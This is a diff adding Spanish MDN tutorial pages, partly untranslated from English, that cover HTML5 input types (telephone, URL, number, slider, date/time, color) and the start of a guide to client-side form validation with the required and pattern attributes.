+<p>Otra característica que vale la pena señalar es que se puede guardar los valores de un campo <code>search</code> automáticamente y reutilizarse en múltiples páginas del mismo sitio web para ofrecer autocompletado. Esta característica suele ocurrir de forma automática en la mayoría de navegadores modernos.</p>
+
+<h2 id="Campo_número_de_teléfono">Campo número de teléfono</h2>
+
+<p>Se puede crear un campo especial para introducir números de teléfono utilizando <code>tel</code> como valor del atributo {{htmlattrxref("type","input")}}:</p>
+
+<pre class="brush: html notranslate">&lt;input type="tel" id="tel" name="tel"&gt;</pre>
+
+<p>Cuando se accede desde un dispositivo táctil con teclados dinámicos, muchos de ellos mostrarán un teclado numérico cuando se encuentren con <code>type="tel"</code>, lo que significa que este tipo es útil no sólo para ser utilizado para números de teléfono, sino también cuando sea útil un teclado numérico.</p>
+
+<p>La siguiente captura de pantalla del teclado de Firefox para Android proporciona un ejemplo:</p>
+
+<p><img alt="firefox for android email keyboard, with ampersand displayed by default." src="https://mdn.mozillademos.org/files/17056/fx-android-tel-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 276px; margin: 0px auto; width: 400px;"></p>
+
+<p>Debido a la gran variedad de formatos de número de teléfono existentes, este tipo de campo no cumple con ningún tipo de restricción sobre el valor introducido por el usuario. (Esto significa que puede incluir letras, etc...).</p>
+
+<p>Como mencionamos anteriormente, se puede utilizar el atributo <code><a href="/en-US/docs/Web/HTML/Attributes/pattern">pattern</a></code> para que asuma restricciones, sobre el cuál aprenderemos en <a href="/en-US/docs/Learn/Forms/Form_validation">Validación de formulario en el lado cliente</a>.</p>
+
+<h2 id="Campo_URL">Campo URL</h2>
+
+<p>Se puede crear un tipo especial de campo para introducir URLs utilizando el valor <code>url</code> para el atributo {{htmlattrxref("type","input")}}:</p>
+
+<pre class="brush: html notranslate">&lt;input type="url" id="url" name="url"&gt;</pre>
+
+<p>Este tipo añade restricciones de validación en el campo. El navegador informará de un error si no se introdujo el protocolo (como <code>http:</code>), o si de algún modo el URL está mal formado. En dispositivos con teclados dinámicos a menudo mostrará por defecto algunas o todas las teclas como los dos puntos, el punto, y la barra inclinada.</p>
+
+<p>Mira el siguiente ejemplo tomado de Firefox para Android:</p>
+
+<p><img alt="firefox for android email keyboard, with ampersand displayed by default." src="https://mdn.mozillademos.org/files/17057/fx-android-url-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 325px; margin: 0px auto; width: 400px;"></p>
+
+<div class="note"><strong>Nota:</strong> Solo porque el URL esté bien formado no significa necesariamente que la dirección al que hace referéncia exista!</div>
+
+<h2 id="Campo_numérico">Campo numérico</h2>
+
+<p>Se pueden crear controles para introducir números con el {{htmlattrxref("type","input")}} <code>number</code> de {{HTMLElement("input")}}. Este control se parece a un campo de texto pero solo permite números de punto flotante, y normalmente proporciona botones deslizadores para incrementar o reducir el valor del control. En dispositivos con teclados dinámicos generalmente se muestra el teclado numérico.</p>
+
+<p>La siguiente captura de pantalla tomada de Firefox para Android proporciona un ejemplo:</p>
+
+<p><img alt="firefox for android email keyboard, with ampersand displayed by default." src="https://mdn.mozillademos.org/files/17055/fx-android-number-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 275px; margin: 0px auto; width: 400px;"></p>
+
+<p>Con el tipo de input <code>number</code>  puedes limitar los valores mínimo y máximo permitidos definiendo los atributos {{htmlattrxref("min","input")}} y  {{htmlattrxref("max","input")}}.</p>
+
+<p>También puedes utilizar el atributo <code>step</code> para cambiar el incremento y decremento causado por los botones deslizadores. Por defecto, el tipo de input number sólo valida si el número es un entero. Para permitir números decimales, especifica <code><a href="/en-US/docs/Web/HTML/Attributes/step">step="any"</a></code>. Si se omite, su valor por defecto es <code>1</code>, lo que significa que solo son válidos números enteros.</p>
+
+<p>Miremos algunos ejemplos. El primero de los siguientes crea un control numérico cuyo valor está restringido a cualquier valor entre <code>1</code> y <code>10</code>, y sus botones cambian su valor en incrementos o decrementos de <code>2</code>.</p>
+
+<pre class="brush: html notranslate">&lt;input type="number" name="age" id="age" min="1" max="10" step="2"&gt;</pre>
+
+<p>El segundo crea un control numérico cuyo valor está restringido a cualquier valor entre el <code>0</code> y <code>1</code> ambos inclusive, y sus botones cambian su valor en incrementos o decrementos de <code>0.01</code>.</p>
+
+<pre class="brush: html notranslate">&lt;input type="number" name="change" id="pennies" min="0" max="1" step="0.01"&gt;</pre>
+
+<p>El tipo de input <code>number</code> tiene sentido cuando esté limitado el rango de valores válidos, por ejemplo la edad de una persona o su altura. Si el rango es demasiado grande para que los cambios de incremento tengan sentido ( por ejemplo los códigos postales de USA, cuyo rango va de <code>00001</code> a <code>99999</code>), entonces sería una mejor opción utilizar el tipo <code>tel</code>: proporciona el teclado numérico mientras que omite el componente de interfaz de usuario de los deslizadores de número.</p>
+
+<div class="blockIndicator note">
+<p><strong>Ten en cuenta que</strong>: En versiones inferiores a la 10 de Internet Explorer no se soportan las entradas <code>number</code></p>
+</div>
+
+<h2 id="Slider_controls">Slider controls</h2>
+
+<p>Otra forma de tomar un número es usando un <strong>slider</strong>. Podrás observar cómo son bastantes parecidas a los sitios inmobiliarios, dónde quieres determinar un máximo de precio por propiedad y filtrar tu búsqueda en el. Observaremos un ejemplo en vivo.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/range-example/index.html", '100%', 200)}}</p>
+
+<p>Usage-wise, sliders are less accurate than text fields. Therefore, they are used to pick a number whose <em>precise</em> value is not necessarily important.</p>
+
+<p>A slider is created using the {{HTMLElement("input")}} with its {{htmlattrxref("type","input")}} attribute set to the value <code>range</code>. The slider-thumb can be moved via mouse or touch, or with the arrows of the keypad.</p>
+
+<p>It's important to properly configure your slider. To that end, it's highly recommended that you set the <code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code>, <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code>, and <code><a href="/en-US/docs/Web/HTML/Attributes/step">step</a></code> attributes which set the minimum, maximum and increment values, respectively.</p>
+
+<p>Let's look at the code behind the above example, so you can see how its done. First of all, the basic HTML:</p>
+
+<pre class="brush: html notranslate">&lt;label for="price"&gt;Choose a maximum house price: &lt;/label&gt;
+&lt;input type="range" name="price" id="price" min="50000" max="500000" step="100" value="250000"&gt;
+&lt;output class="price-output" for="price"&gt;&lt;/output&gt;</pre>
+
+<p>This example creates a slider whose value may range between <code>50000</code> and <code>500000</code>, which increments/decrements by 100 at a time. We've given it default value of <code>250000</code>, using the <code>value</code> attribute.</p>
+
+<p>One problem with sliders is that they don't offer any kind of visual feedback as to what the current value is. This is why we've included an {{htmlelement("output")}} element — to contain the current value (we'll also look at this element in the next article). You could display an input value or the output of a calculation inside any element, but <code>&lt;output&gt;</code> is special — like <code>&lt;label&gt;</code>, it can take a <code>for</code> attribute that allows you to associate it with the element or elements that the output value came from.</p>
+
+<p>To actually display the current value, and update it as it changed, you must use JavaScript, but this is relatively easy to do:</p>
+
+<pre class="brush: js notranslate">const price = document.querySelector('#price')
+const output = document.querySelector('.price-output')
+
+output.textContent = price.value
+
+price.addEventListener('input', function() {
+  output.textContent = price.value
+});</pre>
+
+<p>Here we store references to the <code>range</code> input and the <code>output</code> in two variables. Then we immediately set the <code>output</code>'s <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> to the current <code>value</code> of the input. Finally, an event listener is set to ensure that whenever the range slider is moved, the <code>output</code>'s <code>textContent</code> is updated to the new value.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>range</code> inputs are not supported in versions of Internet Explorer below 10.</p>
+</div>
+
+<h2 id="Date_and_time_pickers">Date and time pickers</h2>
+
+<p>Gathering date and time values has traditionally been a nightmare for web developers. For good user experience, it is important to provide a calendar selection UI, enabling users to select dates without necessating context switching to a native calendar application or potentially entering them in differing formats that are hard to parse. The last minute of the previous millenium can be expressed in the following different ways, for example: 1999/12/31, 23:59 or 12/31/99T11:59PM.</p>
+
+<p>HTML date controls are available to handle this specific kind of data, providing calendar widgets and making the data uniform.</p>
+
+<p>A date and time control is created using the {{HTMLElement("input")}} element and an appropriate value for the {{htmlattrxref("type","input")}} attribute, depending on whether you wish to collect dates, times, or both. Here's a live example that falls back to {{htmlelement("select")}} elements in non-supporting browsers:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/datetime-local-picker-fallback/index.html", '100%', 200)}}</p>
+
+<p>Let's look at the different available types in brief. Note that the usage of these types is quite complex, especially considering browser support (see below); to find out the full details, follow the links below to the reference pages for each type, including detailed examples.</p>
+
+<h3 id="datetime-local"><code>datetime-local</code></h3>
+
+<p><code><a href="/en-US/docs/Web/HTML/Element/input/datetime-local">&lt;input type="datetime-local"&gt;</a></code> creates a widget to display and pick a date with time with no specific time zone information.</p>
+
+<pre class="brush: html notranslate">&lt;input type="datetime-local" name="datetime" id="datetime"&gt;</pre>
+
+<h3 id="month"><code>month</code></h3>
+
+<p><code><a href="/en-US/docs/Web/HTML/Element/input/month">&lt;input type="month"&gt;</a></code> creates a widget to display and pick a month with a year.</p>
+
+<pre class="brush: html notranslate">&lt;input type="month" name="month" id="month"&gt;</pre>
+
+<h3 id="time"><code>time</code></h3>
+
+<p><code><a href="/en-US/docs/Web/HTML/Element/input/time">&lt;input type="time"&gt;</a></code> creates a widget to display and pick a time value. While time may <em>display</em> in 12-hour format, the <em>value returned</em> is in 24-hour format.</p>
+
+<pre class="brush: html notranslate">&lt;input type="time" name="time" id="time"&gt;</pre>
+
+<h3 id="week"><code>week</code></h3>
+
+<p><code><a href="/en-US/docs/Web/HTML/Element/input/week">&lt;input type="week"&gt;</a></code> creates a widget to display and pick a week number and its year.</p>
+
+<p>Weeks start on Monday and run to Sunday. Additionally, the first week 1 of each year contains the first Thursday of that year—which may not include the first day of the year, or may include the last few days of the previous year.</p>
+
+<pre class="brush: html notranslate">&lt;input type="week" name="week" id="week"&gt;</pre>
+
+<h3 id="Constraining_datetime_values">Constraining date/time values</h3>
+
+<p>All date and time controls can be constrained using the <code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code> and <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code> attributes, with further constraining possible via the <code><a href="/en-US/docs/Web/HTML/Attributes/step">step</a></code> attribute (whose value varies according to input type).</p>
+
+<pre class="brush: html notranslate">&lt;label for="myDate"&gt;When are you available this summer?&lt;/label&gt;
+&lt;input type="date" name="myDate" min="2013-06-01" max="2013-08-31" step="7" id="myDate"&gt;</pre>
+
+<h3 id="Browser_support_for_datetime_inputs">Browser support for date/time inputs</h3>
+
+<p>You should be warned that the date and time widgets don't have the best browser support. At the moment, Chrome, Edge, and Opera support them well, but there is no support in Internet Explorer, Safari has some mobile support (but no desktop support), and Firefox supports <code>time</code> and <code>date</code> only.</p>
+
+<p>The reference pages linked to above provide suggestions on how to program fallbacks for non-supporting browsers; another option is to consider using a JavaScript library to provide a date picker. Most modern frameworks have good components available to provide this functionality, and there are standalone libraries available to (see <a href="https://flatlogic.com/blog/best-javascript-date-picker-libraries/">Top date picker javascript plugins and libraries</a> for some suggestions).</p>
+
+<h2 id="Color_picker_control">Color picker control</h2>
+
+<p>Colors are always a bit difficult to handle. There are many ways to express them: RGB values (decimal or hexadecimal), HSL values, keywords, etc.</p>
+
+<p>A <code>color</code> control can be created using the {{HTMLElement("input")}} element with its {{htmlattrxref("type","input")}} attribute set to the value <code>color</code>:</p>
+
+<pre class="brush: html notranslate">&lt;input type="color" name="color" id="color"&gt;</pre>
+
+<p>When supported, clicking a color control will tend to display the operating system's default color picking functionality for you to actually make your choice with. The following screenshot taken on Firefox for macOS provides an example:</p>
+
+<p><img alt="firefox for android email keyboard, with ampersand displayed by default." src="https://mdn.mozillademos.org/files/17058/fx-macos-color.jpg" style="border-style: solid; border-width: 1px; display: block; height: 412px; margin: 0px auto; width: 700px;"></p>
+
+<p>And here is a live example for you to try out:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/color-example/index.html", '100%', 200)}}</p>
+
+<p>The value returned is always a lowercase 6-value hexidecimal color.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>color</code> inputs are not supported in Internet Explorer.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>That brings us to the end of our tour of the HTML5 form input types. There are a few other control types that cannot be easily grouped together due to their very specific behaviors, but which are still essential to know about. We cover those in the next article.</p>
+
+<p>{{PreviousMenuNext("Learn/Forms/Basic_native_form_controls", "Learn/Forms/Other_form_controls", "Learn/Forms")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/Your_first_form">Your first form</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/How_to_structure_a_web_form">How to structure a web form</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Basic_native_form_controls">Basic native form controls</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/HTML5_input_types">The HTML5 input types</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Other_form_controls">Other form controls</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Styling_web_forms">Styling web forms</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Advanced_form_styling">Advanced form styling</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/UI_pseudo-classes">UI pseudo-classes</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Form_validation">Client-side form validation</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data">Sending form data</a></li>
+</ul>
+
+<h3 id="Advanced_Topics">Advanced Topics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/How_to_build_custom_form_controls">How to build custom form controls</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li>
+</ul>
diff --git a/files/es/learn/html/forms/validacion_formulario_datos/index.html b/files/es/learn/html/forms/validacion_formulario_datos/index.html
new file mode 100644
index 0000000000..e967b68973
--- /dev/null
+++ b/files/es/learn/html/forms/validacion_formulario_datos/index.html
@@ -0,0 +1,845 @@
+---
+title: Validación de formularios de datos
+slug: Learn/HTML/Forms/Validacion_formulario_datos
+tags:
+  - Ejemplo
+  - Guía
+  - HTML
+  - Intermedio
+  - JavaScript
+  - Web
+  - formulários
+translation_of: Learn/Forms/Form_validation
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Forms/UI_pseudo-classes", "Learn/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</div>
+
+<p>Antes de enviar datos al servidor, es importante asegurarse de que se completan todos los controles de formulario requeridos, y en el formato correcto. Esto se denomina <strong>validación de formulario en el lado del cliente</strong> y ayuda a garantizar que los datos que se envían coinciden con los requisitos establecidos en los diversos controles de formulario. Este artículo te guiará por los conceptos básicos y ejemplos de validación de formularios en el lado del cliente.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, y entender cómo funcionan el <a href="/es/docs/Learn/HTML">HTML</a>, el <a href="/es/docs/Learn/CSS">CSS</a> y el <a href="/es/docs/Learn/JavaScript">JavaScript</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender qué es la validación de formularios en el lado del cliente, porqué es importante y cómo aplicar diversas técnicas para implementarla.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La validación en el lado del cliente es una verificación inicial y una característica importante para garantizar una buena experiencia de usuario; mediante la detección de datos no válidos en el lado del cliente, el usuario puede corregirlos de inmediato. Si el servidor lo recibe y, a continuación, lo rechaza; se produce un retraso considerable en la comunicación entre el servidor y el cliente que insta al usuario a corregir sus datos.</p>
+
+<p>Sin embargo, ¡la validación en el lado del cliente <em>no debe considerarse </em> una medida de seguridad exhaustiva! Tus aplicaciones siempre deben realizar comprobaciones de seguridad de los datos enviados por el formulario <em>en el lado del servidor</em>, <strong>así como también</strong> en el lado del cliente, porque la validación en el lado del cliente es demasiado fácil de evitar, por lo que los usuarios malintencionados pueden enviar fácilmente datos incorrectos a tu servidor. Lee <a href="/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad en los sitios web</a> para ver qué <em>podría</em> suceder. Cómo implementar la validación en el lado del servidor está fuera del alcance de este módulo, pero debes tenerlo en cuenta.</p>
+
+<h2 id="¿Qué_es_la_validación_de_formularios">¿Qué es la validación de formularios?</h2>
+
+<p>Ve a cualquier sitio web popular que incluya un formulario de registro y observa que proporcionan comentarios cuando no introduces tus datos en el formato que se espera. Recibirás mensajes como:</p>
+
+<ul>
+ <li>«Este campo es obligatorio» (No se puede dejar este campo en blanco).</li>
+ <li>«Introduzca su número de teléfono en el formato xxx-xxxx» (Se requiere un formato de datos específico para que se considere válido).</li>
+ <li>«Introduzca una dirección de correo electrónico válida» (los datos que introdujiste no están en el formato correcto).</li>
+ <li>«Su contraseña debe tener entre 8 y 30 caracteres y contener una letra mayúscula, un símbolo y un número». (Se requiere un formato de datos muy específico para tus datos).</li>
+</ul>
+
+<p>Esto se llama <strong>validación de formulario</strong>. Cuando introduces los datos, el navegador y/o el servidor web verifican que estén en el formato correcto y dentro de las restricciones establecidas por la aplicación. La validación realizada en el navegador se denomina validación <strong>en el lado del cliente</strong>, mientras que la validación realizada en el servidor se denomina validación <strong>en el lado del servidor</strong>. En este capítulo nos centraremos en la validación en el lado del cliente.</p>
+
+<p>Si la información está en el formato correcto, la aplicación permite que los datos se envíen al servidor y (en general) que se guarden en una base de datos; si la información no está en el formato correcto, da al usuario un mensaje de error que explica lo que debe corregir y le permite volver a intentarlo.</p>
+
+<p>Queremos que completar formularios web sea lo más fácil posible. Entonces, ¿por qué insistimos en validar nuestros formularios? Hay tres razones principales:</p>
+
+<ul>
+ <li><strong>Queremos obtener los datos correctos en el formato correcto.</strong> Nuestras aplicaciones no funcionarán correctamente si los datos de nuestros usuarios se almacenan en el formato incorrecto, son incorrectos o se omiten por completo.</li>
+ <li><strong>Queremos proteger los datos de nuestros usuarios</strong>. Obligar a nuestros usuarios a introducir contraseñas seguras facilita proteger la información de su cuenta.</li>
+ <li><strong>Queremos protegernos a nosotros mismo</strong>. Hay muchas formas en que los usuarios maliciosos puedan usar mal los formularios desprotegidos y dañar la aplicación (consulta <a href="/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad del sitio web</a>).</li>
+</ul>
+
+<div class="warning"><strong>Atención:</strong> No confíes nunca en los datos que se pasan al servidor desde el cliente. Incluso si tu formulario se valida correctamente y evita la introducción de datos con formato incorrecto en el lado del cliente, un usuario malintencionado puede alterar la petición de red.</div>
+
+<h2 id="Diferentes_tipos_de_validación_en_el_lado_del_cliente">Diferentes tipos de validación en el lado del cliente</h2>
+
+<p>Hay dos tipos diferentes de validación por parte del cliente que encontrarás en la web:</p>
+
+<ul>
+ <li>La <strong>validación de formularios incorporada</strong> utiliza características de validación de formularios HTML5, que hemos visto en muchos lugares a lo largo de este módulo. Esta validación generalmente no requiere mucho JavaScript. La validación de formularios incorporada tiene un mejor rendimiento que JavaScript, pero no es tan personalizable como la validación con JavaScript.</li>
+ <li>La <strong>validación con JavaScript</strong> se codifica utilizando JavaScript. Esta validación es completamente personalizable, pero debes crearlo todo (o usar una biblioteca).</li>
+</ul>
+
+<h2 id="Usar_la_validación_de_formulario_incorporada">Usar la validación de formulario incorporada</h2>
+
+<p>Una de las características más importantes de los <a href="/en-US/docs/Learn/Forms/HTML5_input_types">controles de formulario de HTML5</a> es la capacidad de validar la mayoría de los datos de usuario sin depender de JavaScript. Esto se realiza mediante el uso de atributos de validación en los elementos del formulario. Los hemos visto anteriormente en el curso, pero recapitulamos aquí:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></code>: Especifica si un campo de formulario debe completarse antes de que se pueda enviar el formulario.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/minlength">minlength</a></code> y <code><a href="/en-US/docs/Web/HTML/Attributes/maxlength">maxlength</a></code>: Especifican la longitud mínima y máxima de los datos de texto (cadenas).</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code> y <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code>: Especifican los valores mínimo y máximo de los tipos de entrada numéricos.</li>
+ <li><code>type</code>: Especifica si los datos deben ser un número, una dirección de correo electrónico o algún otro tipo de preajuste específico. </li>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/pattern">pattern</a></code>: Especifica una <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions">expresión regular</a> que define un patrón que los datos que se introduzcan deben seguir.</li>
+</ul>
+
+<p>Si los datos que se introducen en un campo de formulario siguen todas las reglas que especifican los atributos anteriores, se consideran válidos. Si no, se consideran no válidos.</p>
+
+<p>Cuando un elemento es válido, se cumplen los aspectos siguientes:</p>
+
+<ul>
+ <li>El elemento coincide con la pseudoclase {{cssxref(":valid")}} de CSS, lo que te permite aplicar un estilo específico a los elementos válidos.</li>
+ <li>Si el usuario intenta enviar los datos, el navegador envía el formulario siempre que no haya nada más que lo impida (por ejemplo, JavaScript).</li>
+</ul>
+
+<p>Cuando un elemento no es válido, se cumplen los aspectos siguientes:</p>
+
+<ul>
+ <li>El elemento coincide con la pseudoclase {{cssxref(":invalid")}} de CSS, y a veces con otras pseudoclases de interfaz de usuario (UI) –por ejemplo, {{cssxref(":out-of-range")}}– dependiendo del error, que te permite aplicar un estilo específico a elementos no válidos.</li>
+ <li>Si el usuario intenta enviar los datos, el navegador bloquea el formulario y muestra un mensaje de error.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Hay varios errores que evitan que el formulario se envíe, incluidos {{domxref('validityState.badInput', 'badInput')}}, {{domxref('validityState.patternMismatch','patternMismatch')}}, {{domxref('validityState.rangeOverflow','rangeOverflow')}} o {{domxref('validityState.rangeUnderflow','rangeUnderflow')}}, {{domxref('validityState.stepMismatch','stepMismatch')}}, {{domxref('validityState.tooLong','tooLong')}} o {{domxref('validityState.tooShort','tooShort')}}, {{domxref('validityState.typeMismatch','typeMismatch')}}, {{domxref('validityState.valueMissing','valueMissing')}} o {{domxref('validityState.customError','customError')}}.</p>
+</div>
+
+<h2 id="Ejemplos_de_validación_de_formularios_incorporados">Ejemplos de validación de formularios incorporados</h2>
+
+<p>En esta sección probaremos algunos de los atributos que hemos comentado antes.</p>
+
+<h3 id="Archivo_de_inicio_sencillo">Archivo de inicio sencillo</h3>
+
+<p>Vamos a empezar con un ejemplo sencillo: una entrada que te permite elegir si prefieres un plátano o una cereza. Este ejemplo implica una simple entrada ({{HTMLElement("input")}}) de texto con una etiqueta ({{htmlelement("label")}}) asociada y un botón de envío ({{htmlelement ("button")}}). Puedes encontrar el código fuente en GitHub en <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> y el ejemplo en vivo a continuación.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="choose"&gt;¿Prefieres un plátano o una cereza?&lt;/label&gt;
+  &lt;input id="choose" name="i_like"&gt;
+  &lt;button&gt;Enviar&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}</pre>
+
+<p>{{EmbedLiveSample("Archivo_de_inicio_sencillo", "100%", 80)}}</p>
+
+<p>Para empezar, haz una copia de <code>fruit-start.html</code> en un nuevo directorio de tu disco duro.</p>
+
+<h3 id="El_atributo_required">El atributo <code>required</code></h3>
+
+<p>La característica de validación de HTML5 más simple es el atributo <code><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></code>. Añade este atributo al elemento para que una entrada sea obligatoria. Cuando se establece este atributo, el elemento coincide con la pseudoclase de la interfaz de usuario {{cssxref(':required')}} y el formulario no se envía; muestra un mensaje de error al enviarlo si la entrada está vacía. Si está vacía, la entrada también se considera inválida, coincidiendo con la pseudoclase de interfaz de usuario {{cssxref(':invalid')}}.</p>
+
+<p>Añade un atributo <code>required</code> a tu entrada, como se muestra a continuación.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="choose"&gt;¿Prefieres un plátano o una cereza? (requerido) &lt;/label&gt;
+  &lt;input id="choose" name="i_like" <strong>required</strong>&gt;
+  &lt;button&gt;Enviar&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Ten en cuenta el CSS que en el archivo de ejemplo se ha incluido:</p>
+
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:invalid:required {
+  background-image: linear-gradient(to right, pink, lightgreen);
+}
+
+input:valid {
+  border: 2px solid black;
+}</pre>
+
+<p>Este CSS da un borde discontinuo rojo cuando la entrada no es válida, y un borde negro sólido más sutil cuando es válida. También añadimos un gradiente de fondo cuando la entrada es obligatoria <em>y</em> no válida. Prueba el nuevo comportamiento en el ejemplo siguiente:</p>
+
+<p>{{EmbedLiveSample("El_atributo_required", "100%", 80)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en vivo en GitHub como <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-required.html">fruit-validation.html</a> (consulta también el <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-required.html">código fuente</a>).</p>
+</div>
+
+<p>Intenta enviar el formulario sin introducir ningún valor. Observa que la entrada no válida recibe el cursor, aparece un mensaje de error predeterminado («Complete este campo») y el formulario no se puede enviar.</p>
+
+<p>La presencia del atributo <code>required</code> en cualquier elemento que admite este atributo significa que el elemento coincide con la pseudoclase {{cssxref(':required')}}, tenga o no un valor. Si en el elemento {{HTMLElement("input")}} no se ha introducido ningún valor, <code>input</code> coincidirá con la pseudoclase {{cssxref(':invalid')}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Para una buena experiencia de usuario, indica al usuario que campos de formulario se requieren. No solo es una buena experiencia de usuario, sino que lo exigen las pautas de <a href="/es/docs/Learn/Accessibility">accesibilidad</a> de WCAG. Además, solo requiere que los usuarios introduzcan los datos que realmente necesitas: Por ejemplo, ¿por qué realmente necesitas saber el género o el tratamiento de alguien?</p>
+</div>
+
+<h3 id="Validación_de_una_expresión_regular">Validación de una expresión regular</h3>
+
+<p>Otra característica útil de validación es el atributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a>, que espera una <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions">expresión regular</a> como valor. Una expresión regular (<em>regex</em>) es un patrón que se puede usar para establecer combinaciones de caracteres en cadenas de texto, por lo que las expresiones regulares son ideales para la validación de formularios y sirven para una gran variedad de otros usos en JavaScript.</p>
+
+<p>Las expresiones regulares son bastante complejas y no vamos a exponerlas exhaustivamente en este artículo. A continuación hay algunos ejemplos para que te hagas una idea de cómo funcionan.</p>
+
+<ul>
+ <li><code>a</code>: coincide con un carácter que es <code>a</code> (ni <code>b</code>, ni <code>aa</code>, etc.).</li>
+ <li><code>abc</code>: coincide con <code>a</code>, seguido de <code>b</code>, seguido de <code>c</code>.</li>
+ <li><code>ab?c</code>: coincide con <code>a</code>, seguida opcionalmente de una sola <code>b</code>, seguida de <code>c</code> (<code>ac</code> o <code>abc</code>).</li>
+ <li><code>ab*c</code>: coincide con <code>a</code>, seguido opcionalmente de cualquier número de <code>b</code>, seguido de <code>c</code>. (<code>ac</code>, <code>abc</code>, <code>abbbbbc</code>, etc.)</li>
+ <li><code>a|b</code>: coincide con un carácter que es <code>a</code> o <code>b</code>.</li>
+ <li><code>abc|xyz</code>: coincide exactamente con <code>abc</code> o <code>xyz</code> (pero no con <code>abcxyz</code> <code>a</code> o <code>y</code>, y así sucesivamente).</li>
+</ul>
+
+<p>Hay muchas más posibilidades que no exponemos aquí. Para obtener una lista completa y muchos ejemplos, consulta nuestro documento de <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions">expresiones regulares</a>.</p>
+
+<p>Implementemos un ejemplo. Actualiza tu HTML para añadir un atributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> como este:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="choose"&gt;¿Prefieres un plátano o una cereza?&lt;/label&gt;
+  &lt;input id="choose" name="i_like" required pattern="[Pp]látano|[Cc]ereza "&gt;
+  &lt;button&gt;Enviar&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}</pre>
+</div>
+
+<p>Esto nos da la siguiente actualización; pruébalo:</p>
+
+<p>{{EmbedLiveSample("Validación de una expresión regular", "100%", 80)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en vivo en GitHub como <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-pattern.html">fruit-pattern.html</a> (consulta también su <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-pattern.html">código fuente</a>).</p>
+</div>
+
+<p>En este ejemplo, el elemento {{HTMLElement("input")}} acepta uno de los cuatro valores posibles: las cadenas «plátano», «Plátano», «cereza» o «Cereza». Las expresiones regulares distinguen entre mayúsculas y minúsculas, pero hemos hecho que admita versiones en mayúsculas y minúsculas utilizando un patrón «Aa» adicional anidado dentro de corchetes.</p>
+
